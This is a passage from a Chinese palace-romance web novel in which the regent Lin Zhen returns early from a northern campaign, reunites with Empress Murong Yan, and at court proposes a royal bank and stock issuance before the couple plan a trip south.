第一次以法律的形式确定了下来。 她甚至还在林臻走之前留下的那些零散的构想之上。 建立起了大乾历史上第一个全民教育体系。 和全民医疗保障体系。 在她的铁腕治理和仁德感召之下。 整个大乾非但没有因为林臻的离开而陷入混乱。 反而爆发出了一种前所未有的凝聚力和向心力! 整个国家都像一台加满了油的精密机器。 开始以前所未有的速度高速运转起来! 所有的文武百官都被他们这位女帝陛下所展现出来的惊人的政治手腕和远见卓识给彻彻底底地折服了。 他们终于心悦诚服地承认。 这位年轻的女帝确实拥有不亚于摄政王的治国之才! 她和摄政王就是大乾最耀眼也最幸运的双子星! 此刻的慕容嫣正坐在栖凤阁的御案之后。 批阅着最后一份来自于户部的奏折。 窗外早已是漫天星斗。 她依旧穿着那身作为唯一寝衣的神凤降世裙。 只是这件曾经见证了她无数慵懒和娇媚的裙子。 此刻却因为它主人那日以继夜的勤勉。 而显得格外的庄重和肃穆。 那极致玄黑的苏锦底料在深夜那明亮的烛光下仿佛变成了一片深邃的星空。 充满了无穷的智慧和奥秘。 那只用真金线绣成的擎天巨凤更是仿佛与它的主人融为了一体。 凤目之中闪烁着洞悉一切的睿智光芒。 那长达五丈的墨金色苏锦拖尾从她的椅背后安静地流淌堆叠在冰冷的金砖地面之上。 那华贵的凌乱之中透着一股属于一个成熟帝王的孤独与坚毅。 就在这时。 一名小太监端着一碗热气腾腾的参汤走了进来。 “陛下夜深了。” “您该歇息了。” 慕容嫣没有抬头。 只是淡淡地应了一声。 “放那吧。” 然而那小太监却没有离开。 反而走到了她的身后。 然后用一种她再熟悉不过的温柔手法。 为她轻轻地按摩起了那因为长时间伏案而有些僵硬的肩膀。 慕容嫣的身体猛地一僵! 她霍然转头! 一张她日思夜想魂牵梦萦的熟悉笑脸。 便映入了她的眼帘! ...... “夫……夫君?!” 慕容嫣看着眼前这张熟悉得不能再熟悉的笑脸。 整个人都傻了。 她以为自己是在做梦。 她伸出手想要去触摸一下那张她日思夜想的脸。 却又不敢。 生怕一碰这个美好的梦就碎了。 “傻丫头不认识我了?” 林臻看着她那呆呆的可爱的模样。 笑着将她拥入了怀中。 那熟悉的温暖的怀抱。 那熟悉的让她心安的味道。 瞬间便让慕容嫣意识到。 这不是梦! 他真的回来了! “你……你不是去远征了吗?!” “怎么……怎么会突然回来了?!” 她的声音里充满了难以置信的惊喜。 “我想你了就回来了。” 林臻将脸深深地埋在她的颈窝里。 贪婪地嗅着那他想了三个多月的熟悉的兰花香气。 声音沙哑得不成样子。 “骗人!” 慕容嫣虽然心里甜得跟吃了蜜一样。 但理智还是告诉她。 事情绝没有这么简单。 他是三军主帅。 怎么可能因为想她就擅离职守私自跑回来? 这其中一定发生了什么她不知道的变故! 一想到这里。 她的心又猛地提了起来。 “夫君你快告诉我!” “到底发生了什么事?!” “是不是前线出了什么意外?!” 她的声音里充满了无法掩饰的紧张和担忧。 “放心吧我的傻丫头。” 林臻看着她那紧张兮兮的样子笑着捏了捏她的脸颊。 “不是什么坏事。” “恰恰相反是天大的好事!” “好事?” 慕容嫣一脸的不解。 “没错。” 林臻点了点头。 然后他才将事情的来龙去脉原原本本地告诉了她。 原来。 在他率领着神机营日夜兼程刚刚赶到玉门关的时候。 一个让他意想不到的消息便传了过来。 那个一直在漠北草原上耀武扬威的“罗刹国”大军。 竟然在一夜之间神秘地撤退了! 而且是连一声招呼都没打。 就撤得干干净净无影无踪。 仿佛他们从未出现过一样。 这个突如其来的变故。 让所有的人都摸不着头脑。 就连林臻自己也百思不得其解。 他派出了最精锐的斥候。 一路向北追查了数百里。 最终才从一些被“罗刹鬼”俘虏过的草原牧民口中得知了事情的真相。 原来。 就在前不久。 那个所谓的“罗刹国”他们的大后方。 突然爆发了一场极其惨烈的王位争夺战。 他们的老沙皇突然暴毙。 他的两个儿子为了争夺皇位打得不可开交。 整个“罗刹国”都陷入了一片内乱之中。 而那支远征漠北的大军。 他们的统帅正是老沙皇的大儿子。 在得知了国内的惊天变故之后。 他哪里还顾得上在漠北开疆拓土? 自然是第一时间便率领着麾下的精锐大军。 火急火燎地赶回国内去抢那至高无上的皇位了! “就……就这么简单?” 慕容嫣听完林臻的叙述。 整个人都有些哭笑不得。 她怎么也没有想到。 这个让他们如临大敌甚至不惜派出了神机营这支王牌之师的巨大危机。 竟然会以如此戏剧性的方式消弭于无形。 “就是这么简单。” 林臻也是一脸的无奈。 “我本来还想着去那冰天雪地的北方。” “好好地会一会那些所谓的‘罗刹鬼’呢。” “没想到他们自己先后院起火了。” “那神机营呢?” 第1169章 早啊,皇后陛下 慕容嫣又问道。 “我把他们暂时留在了玉门关。” 林臻说道。 “一来可以让他们适应一下北方的气候和环境。” “二来也可以让他们跟呼韩邪的草原骑兵搞几次联合演习。” “顺便也震慑一下那些心怀不轨的宵小之辈。” “至于我嘛……” 他的嘴角勾起了一抹坏笑。 “自然是马不停蹄地赶回来见我那日思夜想的小娇妻了。” 慕容嫣被他那赤裸裸的情话给羞得脸颊又是一片滚烫。 但她的心里却甜得发腻。 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在这充满了重逢喜悦的氛围之中。 仿佛变成了一片最温柔最缠绵的夜。 那只用真金线绣成的擎天巨凤也仿佛在为它那久别重逢的主人而欢欣雀跃。 凤目之中迸发出了无比璀璨的喜悦光芒! 那长达五丈的墨金色苏锦拖尾凌乱地堆叠在两人的脚下。 将他们紧紧地包裹其中。 仿佛在弥补着这三个多月来的相思之苦。 “夫君……” 她主动地凑上前。 在他的唇上印下了一个滚烫的深情的吻。 “欢迎回家。” 林臻被她这突如其来的、主动的吻,给弄得微微一愣。 随即,一股巨大的、难以言喻的喜悦和满足感,便如同决了堤的洪水一般,瞬间将他整个人都淹没了。 他反客为主,伸出双臂,紧紧地将她拥入怀中,加深了这个吻。 这个吻,不再像之前那样,带着试探和挑逗。 而是充满了,久别重逢的狂喜,和失而复得的珍视。 他用力地,攫取着她口中的每一寸甜蜜,仿佛要将这三个多月来的,所有思念、担忧和恐惧,都在这一刻,尽数吞入腹中。 慕容嫣也热情地,回应着他。 她那如同白玉藕臂一般的双臂,紧紧地勾着他的脖子。 生涩而又笨拙地,学着他的样子,与他唇齿相依。 她能感觉到,他那强壮的身体,在微微地发抖。 她能听到,他那因为极度的激动,而变得如同擂鼓一般的心跳。 她知道,这个男人,她深爱着的这个男人,为了能回到她的身边,到底付出了多少。 眼泪,再一次不争气地,从她的眼角滑落。 只是这一次,那泪水不再是苦涩的,而是充满了,无尽的甜蜜和幸福。 “傻丫头,怎么又哭了?” 许久,唇分。 林臻看着她那张,梨花带雨的绝美俏脸,心疼地,为她拭去眼角的泪痕。 他的声音,沙哑得不成样子,却又温柔得能滴出水来。 “我……我没有哭……” 慕容嫣抽了抽鼻子,声音里带着浓浓的鼻音。 “我只是……只是太高兴了……” “高兴得,都不知道该说什么好了……” “那就什么都别说。” 林臻臻的嘴角,勾起了一抹坏笑。 他一把将她,从御案后打横抱起。 大步流星地,向着那张,他们曾经无数次温存过的巨大凤榻走去。 “呀!” 慕容嫣惊呼一声,下意识地,伸出双臂紧紧地搂住了他的脖子。 “夫君,你……你干什么呀!” 她的脸颊,瞬间红得像一块烧红的烙铁。 “干什么?” 林臻在她的俏脸上,狠狠地亲了一口。 “当然是,办‘正事’了!” “我可是奉了我们满朝文武的旨意,在为我们大乾的储君事业,添砖加瓦呢!” “你……你这个坏蛋!” 慕容嫣又羞又气地,在他坚实的胸膛上,不轻不重地捶了一下。 这个男人,真是越来越坏了。 三句话不离他的那点小心思。 林臻看着她那副,又羞又恼的可爱模样,心中更是火热。 他将她,轻轻地放在了那张,铺着柔软锦被的凤榻之上。 然后,自己也随之覆了上去。 “嫣儿,”他看着她那双因为害羞和紧张,而变得水光潋滟的凤眸,声音沙哑得不成样子。 “还记得我走之前,跟你说的吗?” “我说,等我回来,要好好地执行一下我们的‘家法’。” 慕容嫣的心,瞬间狂跳了起来。 她当然记得。 这个坏蛋,总是喜欢用这种,霸道而又不正经的方式来挑逗她。 她缓缓地闭上了眼睛,长长的睫毛,如同蝶翼一般,微微地颤抖着。 那副任君采撷的娇羞模样,彻底点燃了林臻心中,那早已压抑了三个多月的熊熊烈火! 他低吼一声,不再有任何的犹豫。 低头,便吻上了那他肖想已久的诱人红唇。 这一次,再也没有不识时务的老臣前来打扰。 这一次,再也没有十万火急的军情急报。 整个天地间,仿佛都只剩下了他们两个人。 和那一声声,令人脸红心跳的,粗重喘息。 红烛摇曳,春色无边。 慕容嫣身上那件,作为唯一寝衣的神凤降世裙,也仿佛被这久别胜新婚的炽热激情,所彻底点燃。 那极致玄黑的苏锦底料,在洞房之内那跳跃的,暧昧的红烛光晕之下,仿佛变成了一片最柔软,最丝滑的黑色欲海。 紧紧地贴合着她那,因为情动而微微颤抖的完美身段。 将她那欺霜赛雪的,白皙肌肤,衬托得愈发地晶莹剔透,泛着一层诱人的粉色光晕。 那只用真金线绣成的擎天巨凤,也仿佛被这浓烈的爱意所感染。 收敛了所有的威严和光芒,凤目之中只剩下一片迷离的,醉人的春色。 那长达五丈的墨金色苏锦拖尾,更是以一种极其夸张的姿态,从凤榻之上,一直流淌到冰冷的金砖地面之上。 与林臻那随意丢弃的,玄色王袍纠缠交织在一起。 形成了一片,充满了原始欲望与放纵不羁的华贵凌乱。 仿佛在无声地诉说着,这对久别重逢的爱人那压抑了太久太久的,疯狂与思念。 “夫君……” 在彻底沉沦的最后一刻,慕容嫣用一种细若蚊呐的声音,在他耳边轻轻地呢喃着。 “我爱你……” “我也爱你,我的嫣儿。” 林臻用最热烈的,最深情的吻回应着她。 然后便是一夜无话。 只有那摇曳的烛光,和那彻夜未曾停歇的床榻的吱呀声。 在无声地记录着,这场迟来了太久的,洞房花烛。 翌日。 天光大亮。 一缕调皮的阳光,透过栖凤阁那价值连城的琉璃窗,悄悄地爬上了那张,宽大奢华的凤榻。 慕容嫣长长的睫毛,微微地颤动了一下。 然后,缓缓地睁开了眼睛。 入目所及,是一片坚实而又温暖的宽阔胸膛。 和一张放大了的,英俊得让人心跳加速的睡颜。 林臻还在睡。 他的呼吸均匀而又绵长。 那张平日里总是带着一丝慵懒和不羁的脸,此刻在晨光的映照下,显得格外的安静和柔和。 少了几分摄政王的霸道和杀伐果断。 多了几分属于她一个人的,丈夫的温柔。 慕容嫣的心,瞬间就软成了一滩水。 她就这么痴痴地看着他,仿佛怎么也看不够。 她小心翼翼地,伸出那如同白玉一般的手指,想要去描摹他那,如同刀削斧凿一般的完美轮廓。 可她的指尖,还未触及到他的脸颊。 他那双深邃的,如同星辰大海一般的眼睛,便突然睁开了。 四目相对。 空气中,瞬间便充满了一种难以言喻的甜蜜和温馨。 “早啊,我的皇后陛下。” 第1170章 棋牌佛最近怎么样了? 林臻的声音,带着一丝刚刚睡醒的沙哑,却又充满了,让人沉溺的宠溺。 慕容嫣的脸,“轰”的一下,又红了。 昨夜那些,疯狂而又羞人的画面,如同潮水一般,涌入了她的脑海。 她连忙将自己的脸,深深地埋进了他那宽阔而又温暖的胸膛里,不敢再看他。 窗外传来秋日虫鸣,斑驳的落叶随着威风吹进窗棂里,吹起檀香,吹起纱帘。 两人谁也不觉得冷,反而带着几分微凉与惬意,相拥的更紧了。 “夫君,你冷不冷?” 林臻摇头:“有你在,永远都不冷。” “油嘴滑舌的,我问你正经话呢!若是冷,我叫麝月把窗户关上。” “真的不冷,再抱抱。” 早晨的风哪有不凉的?可林臻却觉得自己内心无比温暖。 回想起当初自己来到这个世界,与女帝为仇,与天下人为敌。 自己一步一个脚印,走到今天,拥抱女帝,坐拥天下。 这些事情只要想想,就觉得不可思议。 顾北辰。 这个原书主角,死在了那场战役当中。 多年过去,回想起这个对手,林臻还有些想念。 无敌是多么寂寞啊,若是再有个对手出来就好了。 林臻闭着眼睛。 他觉得现在出现的任何对手,都不足为敌,因为大乾已经整合,幅员辽阔,不是任何国家可以挑战的。 当皇帝累,当皇帝的身边人更累。 林臻以前不这么觉得,只想着自己和女帝生个孩子,然后把江山交给他便好。 可是这孩子始终没个影儿。 难道是老天看我是穿越者,所以不给我孩子吗? 那也太残忍了吧。 唉,人一安静下来想的东西就多,林臻此刻真有感触。 也不知道棋牌佛那家伙最近过得怎么样,死没死。 不过看他的样子应该是没死,他貌似长生了。 以前林臻也想着长生,但现在拥抱着最爱的人,却不那么想了。 人活一世,生也好,死也好,皆有定数。 能与相爱的人走完这段旅程,已是难得,不能与天抗衡。 说起来,难怪棋牌佛那个家伙活得不快乐。 呵呵呵呵,林臻低头亲吻慕容嫣的额头,收回思绪。 眼下还是治理国家最要紧,至于其他的,还是不要想了吧。 也不知过了多久。 “夫君,该起床了。”慕容嫣在他的怀里,又赖了一会儿,才有些不情愿地说道,“今天,还有好多奏折等着我批呢。” “批什么奏折?” 林臻却是将她抱得更紧了,声音里带着一丝不容置疑的霸道。 “我昨天怎么跟你说的?” “从今天起,你什么都不许管!” “天大的事情,有我顶着!” “你的任务只有一个,那就是给我好好休息!” “哪有你这样的……” 慕容嫣嘟囔了一句,声音里却全是藏不住的甜蜜。 “我是皇帝,哪能真的什么都不管……” “皇帝怎么了?皇帝就不是人了?皇帝就不需要休息了?” 林臻瞪着她。 “我告诉你慕容嫣,从今天起这个家,我说了算!” “我说让你休息,你就得给我休息!” “你要是再敢偷偷去看那些劳什子的奏折,别怪我……别怪我,再执行一次家法!” 他故意把“家法”两个字,咬得特别重。 慕容嫣的身体,微微一颤。 她知道他指的是什么。 继续人对一个国家来讲实在是太重要了,而林臻与慕容嫣又不是第一天在一起,他们相处已经很久很久了。 可至今都没有孩子,所有大臣,百姓都希望他们这个美好的国家可以后继有人。 催生啊。 以前慕容嫣只是在别人家里听说过,如今发生在自己身上还真是别有一番味道。 林臻也是同样,他前世被父母催婚过,但没有被催孩子的经历,突然来这么一下,他也有些麻爪。 “陛下,该起床了。”麝月在外面叫喊。 林臻捂着慕容嫣的嘴不让她吭声,麝月不知道里面什么情况,便推门进来。 见屋内檀香袅袅,床上的纱帘遮盖着,她蹑手蹑脚的走过去,轻轻撩开纱帘。 “啊!”只见林臻突然抓住她的手,将她带到床上。 麝月吓了一跳,疯了似的大叫。 慕容嫣也笑眯眯的掐了林臻一下。 “干什么!你快放开麝月。” “陛下,陛下!您看王爷嘛。” “哈哈哈哈,小麝月,这么久没有伺候陛下了,今天就让你亲自动手!” 自从林臻封麝月为后宫宫女总管,她就再也没亲手伺候过慕容嫣。 这次抓到,可得让她好好出次血。 “王爷,您快放手嘛,奴婢,奴婢伺候陛下就是了嘛。” “不行,连我也得一起伺候!” “好好好,奴婢都听王爷的。” 林臻发现麝月这丫头自从几年前被宠爱后,如今是越来越水灵了,那大眼睛眨呀眨,好想会说话似的。 两人在麝月的伺候下,依依不舍地起了床。 只是,问题也随之而来。 林臻的突然回归,虽然是一件天大的喜事。 但如何向满朝文武,和全天下的百姓,解释这件事,却成了一个不大不小的难题。 总不能直接说,敌人自己后院起火跑路了吧? 那大乾朝廷,兴师动众地搞了那么大的出征仪式,岂不成了全天下的笑话? “夫君,你看这事……” 慕容嫣一边让宫娥伺候着梳洗,一边有些头疼地问道。 “我们总得,给天下人一个说法吧?” “这个简单。” 林臻却是,一脸的不以为意。 他走到慕容嫣的身后,接过宫娥手中的象牙梳,开始亲自为她,梳理着那如同瀑布般的乌黑长发。 他的动作很轻,很柔。 仿佛是在对待一件,全世界最珍贵的瓷器。 “我们就对外宣布。” “我大乾天威浩荡,王师未至,贼寇便已闻风丧胆,望风而逃!” “我林臻不费一兵一卒,便已为我大乾,打下了一场旷古烁今的,不战而屈人之兵的大捷!” “如此一来,非但没人会笑话我们。” “反而,还会对我大乾的国威,和我林臻的威名,更加敬畏和崇拜。” “你觉得呢?我的皇后陛下?” 第1171章 战略性宣传 慕容嫣听完林臻这番,堪称是“无耻至极”的言论,整个人都有些哭笑不得。 她透过镜子,看着身后那个,正一脸得意地为自己梳头的男人。 真是又好气,又好笑。 “你这脸皮,真是越来越厚了。” 她忍不住,嗔怪地白了他一眼。 “明明是人家自己后院起火,跑路了。” “到你嘴里,怎么就成了你‘不战而屈人之兵’的盖世奇功了?” “这有什么区别吗?” 林臻一脸理所当然地说道。 “兵法云,虚虚实实,实则虚之。” “战争的胜负,从来都不是只看战场上的输赢。” “更是看,谁更能忽悠,谁更能造势。” “我们现在,就是要趁着这个机会,把我们大乾,把我林臻的威名,给彻底地神化!” “我们要让全天下的人都相信,我们大乾是天命所归,是不可战胜的!” “只有这样,才能最大程度地,震慑那些潜在的敌人。” “也才能,为我们争取到,最宝贵的和平发展的时间。” 慕容嫣静静地听着。 她知道,这个男人虽然有时候,看起来很不正经,很无赖。 但他的每一个看似荒诞的决定背后,都隐藏着,最深沉的,最长远的战略考量。 她不得不承认,他说的有道理。 “好吧,都听你的。” 她无奈地摇了摇头。 “反正,这撒谎吹牛的事,你也不是第一次干了。” “什么叫撒谎吹牛?” 林臻不乐意了。 “我这叫,‘战略性宣传’!” 两人又斗了一会儿嘴。 才终于,在宫娥的伺候下,穿戴整齐。 准备去太极殿,上今日的早朝。 一刻钟后。 当林臻和慕容嫣,并肩走进那庄严肃穆的太极殿时。 整个朝堂,瞬间,鸦雀无声。 所有文武百官,都像是见了鬼一样,瞪大了眼睛,张大了嘴巴。 呆呆地看着,那个本该在万里之外的北方草原上,率军征战的摄政王殿下。 竟然,就这么活生生地,出现在了他们的面前! “王……王爷?!” 户部尚书周兴,揉了揉自己的眼睛,一脸的难以置信。 “老臣……老臣不是在做梦吧?” “周胖子,你当然不是在做梦。” 林臻看着他那副活宝的样子,笑着调侃道。 “怎么?几天不见,就不认识本王了?” “轰——” 这句话像一颗惊雷,瞬间在整个太极殿内炸响! 所有文武百官,在短暂的呆滞之后,全都反应了过来! 然后一个个都露出了,无比激动和狂喜的神情! 王爷回来了! 他们那个,战无不胜攻无不克的军神王爷,回来了! 而且,看他那云淡风轻的样子,显然北方的战事,已经结束了! 这才多久? 从王爷出征到现在,满打满算也才三个多月吧? 三个多月的时间,就平定了一场,足以威胁到整个漠北草原的巨大危机? 这……这是何等恐怖的,用兵速度啊! “臣等,叩见陛下!叩见王爷!” “陛下万岁万岁万万岁!王爷千岁千岁千千岁!” 在短暂的震惊和狂喜之后,所有文武百官,全都发自肺腑地,跪倒在地。 那山呼海啸般的声音,比以往任何时候都更加响亮,也更加真诚! “众卿平身。” 慕容嫣端坐在凤椅之上,声音清越,而又充满了自信。 她依旧穿着那身,作为唯一寝衣的神凤降世裙。 只是在外面重新罩上了那件,代表着至高皇权的黑金色霞帔。 此刻的她,在太极殿那庄严肃穆的氛围衬托下,显得愈发地光彩照人,威严无双。 那极致玄黑的苏锦底料,如同最深沉的夜空,上面那只用真金线绣成的擎天巨凤,则如同夜空中最璀璨的星辰,凤目炯炯,睥睨天下。 仿佛在向所有人宣告,这个由她和她身边的男人,共同守护的江山,将万世永固! 她身后的那长达五丈的墨金色苏锦拖尾,平整地铺开,与林臻的墨麒麟亲王袍服的拖尾,交织在一起,覆盖了整个巨大的丹陛。 黑金交织,龙凤和鸣。 象征着这对传奇帝后,那牢不可破的联盟,和那至高无上的绝对权力! “谢陛下!” 百官起身之后,所有人的目光,都齐刷刷地,聚焦在了林臻的身上。 他们都迫不及待地想知道,北疆的战况,到底如何了。 林臻清了清嗓子,站了出来。 然后,便将他昨晚,跟慕容嫣商量好的那套说辞,当着满朝文武的面,绘声绘色地,又讲了一遍。 当然,他隐去了“罗刹国”后院起火的真实原因。 只重点强调了,他大乾王师,是如何的天威浩荡。 他林臻又是如何的运筹帷幄,决胜千里。 最终是如何不费一兵一卒,便让那凶悍的“罗刹鬼”闻风丧胆,连夜跑路。 他这番话说得是,慷慨激昂,荡气回肠。 听得殿下的文武百官,一个个都是热血沸腾,心潮澎湃! 不战而屈人之兵! 这可是,兵法的最高境界啊! 他们的大乾,他们的摄政王,竟然已经强大到了如此地步! 这让他们如何能不骄傲?如何能不自豪? “王爷神威!盖世无双!” “我大乾天威浩荡!四海臣服!” 一时间,整个太极殿内,全是歌功颂德,溜须拍马之声。 林臻和慕容嫣,看着殿下那些,一个个激动得满脸通红的老臣。 相视一笑。 他们知道,他们这次的“战略性宣传”,又成功了。 然而,就在这君臣同乐,气氛热烈到极点的时刻。 一个不合时宜的声音,却突然响了起来。 “陛下,王爷。” 只见新任的礼部尚书,素来以耿直和头铁而著称的王安石,从人群中走了出来。 他一脸严肃地,对着御阶之上,躬身行礼。 “臣,有本要奏。” 看到他站出来,林臻的眼皮,就是一跳。 他知道,这个老顽固又要开始作妖了。 “王爱卿,有何事啊?” 慕容嫣倒是显得很平静。 “启禀陛下,王爷。” 王安石抬起头,目光炯炯地看着他们。 “既然,北疆的战事已经平息。” “那我们之前商议的,关于成立‘皇家商行’和发行‘股票’的事。” “是不是,也该正式提上日程了?” 第1172章 成立银行 王安石此言一出。 整个太极殿,瞬间又安静了下来。 所有人的目光,都齐刷刷地,看向了御阶之上的那对年轻帝后。 尤其是户部尚书周兴和工部尚-书李格。 这两个老头,更是激动得,浑身的肥肉都在颤抖。 他们盼这一天,可是盼了三个多月了啊! “王爱卿,言之有理。” 慕容嫣开口了。 她的声音,清越而又充满了威严。 “北疆战事,虽暂告一段落。” “但国库空虚,百废待兴,却也是不争的事实。” “想要开创我大乾万世太平之基业。” “钱是必不可少的。” 她看了一眼身旁的林臻,见他对自己微微点头。 便继续说道。 “朕与王爷商议过了。” “成立皇家商行,发行股票,此乃国之大计,势在必行!” “不过,此事兹事体大,牵一发而动全身。” “不可操之过急。” 她将那日,在摄政王府,自己提出的那套“控制通胀,发展实业,开拓海外”的宏伟构想,当着满朝文武的面,又详细地阐述了一遍。 这番话再一次让整个太极殿,陷入了死一般的寂静。 所有文武百官,都像是被施了定身法一样,呆呆地站在原地。 他们一个个,张着嘴,瞪着眼。 感觉自己的世界观,又一次被他们这位,天纵奇才的绝美女帝,给彻彻底底地颠覆了! 控制通胀? 发展实业? 开拓海外? 用大乾的商品,去赚全世界的钱? 这……这已经完全超出了,他们所能理解的范畴! 但这并不妨碍他们,凭借着自己那敏锐的政治嗅觉,意识到,这个宏伟的计划一旦成功,将会给整个大乾,带来怎样翻天覆地的巨大变化! “陛……陛下圣明!” 不知是谁,第一个从巨大的震撼中,反应了过来。 然后,噗通一声,跪倒在地。 紧接着是第二个,第三个…… 最终,整个太极殿内所有的文武百官,全都发自肺腑地,跪了下去! “陛下圣明!陛下真乃千古一帝啊!” “有陛下与王爷在,乃我大乾之幸!天下万民之幸啊!” 那山呼海啸般的声音,响彻了整个太极殿。 甚至比刚才听到林臻“不战而屈人之兵”时,还要更加热烈,更加真诚! 因为他们知道。 武力上的征服,终有尽头。 而经济和文化上的征服,才是真正的万世不移的,强国之本! 慕容嫣看着殿下,那一张张因为激动而涨得通红的脸。 听着那一声声,发自肺腑的拥护和爱戴。 心中,也是豪情万丈。 此刻的她,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在太极殿那庄严肃穆的氛围衬托下,显得格外的深邃而睿智。 那只用真金线绣成的擎天巨凤,也仿佛在与它的主人一起,俯瞰着脚下这片,即将迎来巨变的锦绣河山。 凤目之中,迸发出了前所未有的,充满了开创与革新的,万丈豪情! 那长达五丈的墨金色苏锦拖尾,从高高的凤椅之后,一直铺陈到御阶之下,仿佛一条通往未来的,充满了无限可能的黄金大道! 那华贵的凌乱,在这一刻不再是慵懒,而是一种要将整个世界都纳入自己版图的绝对自信! “众位爱卿,请起吧。” 她抬起手,缓缓地,压下了那如同潮水般的声浪。 “朕的这个构想,虽然宏伟。” “但想要实现它,却离不开在座诸位的同心同德,殚精竭虑。” “朕希望从今日起。” “我们君臣一心,为了我们共同的盛世大乾,而努力奋斗!” “臣等,遵旨!” “愿为陛下,为王爷,鞠躬尽瘁,死而后已!” 满朝文武,齐声应诺,声震寰宇。 然而就在这时。 一直没有说话的林臻,却突然又开口了。 “陛下刚才说的,很好。” 他站起身,走到了慕容嫣的身边,与她并肩而立。 “不过,我还有一个,小小的补充。” 所有人的目光,又一次,齐刷刷地聚焦在了他的身上。 他们都很好奇。 在陛下的这个,已经堪称完美的宏伟蓝图之上。 这位同样是,智多近妖的摄政王殿下,又能玩出什么,新的花样来? “陛下刚才说,要成立皇家商行,要建立纺织厂,瓷器厂,造船厂。” 林臻的目光,扫过全场,声音清晰地传遍了每一个角落。 “这些都很好。” “但我们还缺一样东西。” “一样能将所有这些,都串联起来的,最核心的东西。” “那就是,我们大乾自己的,银行!” “银行?” 这个比“股票”和“通胀”,还要更加新鲜的词汇。 再一次,让满朝文武都陷入了深深的困惑之中。 就连慕容嫣,也是一脸好奇地看着他。 “夫君,这银行又是个什么东西?” “银行嘛,顾名思义。” 林臻的嘴角,勾起了一抹,狐狸般的狡黠笑容。 “就是一个,专门管钱的行当。” “我们可以成立一个,由朝廷绝对控股的,大乾皇家银行!” “这个银行,可以吸收,天下所有商贾和百姓的存款。” “我们可以付给他们,一定的利息。” “然后,我们再将这些吸收来的巨款,以更高的利息,贷给我们那些,需要用钱的,皇家工厂和出海商队!” “如此一来,我们便能,用天下人的钱来办我们自己的事!” “还能从中赚取,巨额的利差!” “更重要的是!” 他的声音,变得愈发地,充满了诱惑力。 “一旦所有人的钱,都存进了我们的银行。” “那他们的身家性命,就全都被我们牢牢地,捏在了手里!” “到时候,谁还敢跟我们朝廷作对?” “谁还敢,不听我们的话?” “这……这……这……” 周兴和王安石这两个,一个管钱,一个管礼法的老头。 听完林臻这番,堪称是“魔鬼之言”的构想。 两个人,吓得腿都软了。 他们看着眼前这个,正一脸坏笑的年轻王爷。 第一次,发自灵魂深处地,感觉到了一种,名为“恐惧”的情绪。 太狠了! 这一招,实在是太狠了! 也太毒了! 这简直就是,要把全天下所有人的脖子上,都套上一根,无形的,用金钱编织而成的绞索啊! 第1173章 下江南 周兴和王安石,被林臻这个石破天惊的“银行”构想,给吓得半天没回过神来。 他们感觉,自己今天这一个早朝上的,比过去十年都要刺激。 先是陛下的“全球化战略”,让他们热血沸腾。 紧接着又是王爷的“金融核武器”,让他们不寒而栗。 这对夫妻,简直就不是人! 他们是两个从天上下来,专门为了颠覆这个世界而生的妖孽! “王……王爷……” 周兴的声音,都在发抖。 “您……您这一招,实在是,太……太……” 他“太”了半天,也没想出一个合适的词来形容。 因为他觉得任何词汇都无法形容这一招的阴险和歹毒。 “太高明了,是吗?” 林臻一脸得意地,替他说了下去。 周兴和王安石,只能一脸苦涩地点了点头。 他们还能说什么呢? 在绝对的降维打击面前,任何的反抗和质疑,都显得是那么的苍白和无力。 慕容嫣看着自己夫君那副,得了便宜还卖乖的无赖模样。 也是有些哭笑不得。 她知道,这个男人又在使坏了。 不过她不得不承认。 他这个“银行”的构想,确实是神来之笔。 它就像一根无形的线,将她刚才提出的所有宏伟蓝图,都完美地串联在了一起。 形成了一个,无懈可击的闭环。 有了银行,他们就有了源源不断的,廉价资金。 有了资金,他们就能建立更多的工厂,打造更强大的舰队。 有了工厂和舰队,他们就能生产出更多的商品,赚取更多的财富。 而赚来的财富,又可以再次注入银行,形成一个良性的,可以无限循环的完美闭环! 这简直就是,一台永不停止的超级印钞机啊! “夫君,你……” 她看着林臻,那双美丽的凤眸之中,除了崇拜便只剩下了无尽的爱意。 她觉得自己,真是这个世界上最幸福的女人。 能嫁给这样一个,既能陪她看星星看月亮,又能陪她指点江山,图谋天下的男人。 夫复何求? 此刻的她,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,因为她那激动而微微起伏的胸膛,而泛着一层,如同黑曜石般,坚硬而又闪亮的光泽。 那只用真金线绣成的擎天巨凤,也仿佛在为它主人这,即将开启的全新商业帝国,而欢欣鼓舞。 凤目之中,迸发出了前所未有的,充满了智慧与贪婪的,炽热金芒! 那长达五丈的墨金色苏锦拖尾,从高高的凤椅之后,恣意地铺陈开来,仿佛一条,由黄金和权力,共同铺就的,通往世界之巅的康庄大道! 那华贵的凌乱,在这一刻不再是慵懒,而是一种要将全世界的财富,都尽数收入囊中的,绝对霸气! “好了,此事,就这么定了。” 慕容嫣一锤定音。 “即日起,成立‘大乾皇家银行’筹备处。” “由户部尚书周兴,任筹备处总负责人。” “吏部、工部、礼部,全力配合!” “朕要在一个月之内,看到我们大乾的第一家银行,在长安城正式挂牌营业!” “臣等,遵旨!” 周兴和一众相关官员,连忙跪下领旨。 一个个都跟打了鸡血一样兴奋得满脸通红。 他们知道,一场足以改变大乾,乃至整个世界格局的,金融革命,在今天,由他们的陛下和王爷,亲手开启了! …… 下朝之后。 林臻和慕容嫣回到了栖凤阁。 “夫君,你真是越来越坏了。” 慕容嫣靠在林臻的怀里,把玩着他那骨节分明的大手,声音里,带着一丝无奈的娇嗔。 “我怎么坏了?” 林臻一脸无辜地,看着她。 “你看看你把周尚书他们给吓得,脸都白了。” 慕容嫣嗔怪地,白了他一眼。 “我那是在吓他们吗?” 林臻不乐意了。 “我那是在给他们上课!” “是在教他们什么叫做,真正的治国之道!” “哼,歪理。” 慕容嫣虽然嘴上这么说,但心里却甜得跟什么似的。 她就喜欢看他这副霸道又无赖的样子。 “对了,夫君。” 她突然想起了什么。 “既然,银行和商行的事,都已经安排下去了。” “那我们,是不是也该动身去江南了?” “你说什么时候去。” “就……就这几天吧。” 这次慕容嫣是真想去江南看看,看看扬州瘦马,看看断桥残雪。 这些只有话本里面才有的地方特色,让她非常的神往,恨不得今天说走,明天就到。 她仔细的想了想,说道:“趁着银行和商行,还没正式开业。” “朝中的事情也相对清闲一些。” “好,都听你的。” 林臻点了点头,其实他也早想出去散散心了,最近事情太多,一件接着一件,闹的人头疼。 如果能出去溜达溜达,看看美景,自然是极好的。 再说,自己这位小娇妻是真的一刻也等不及了。 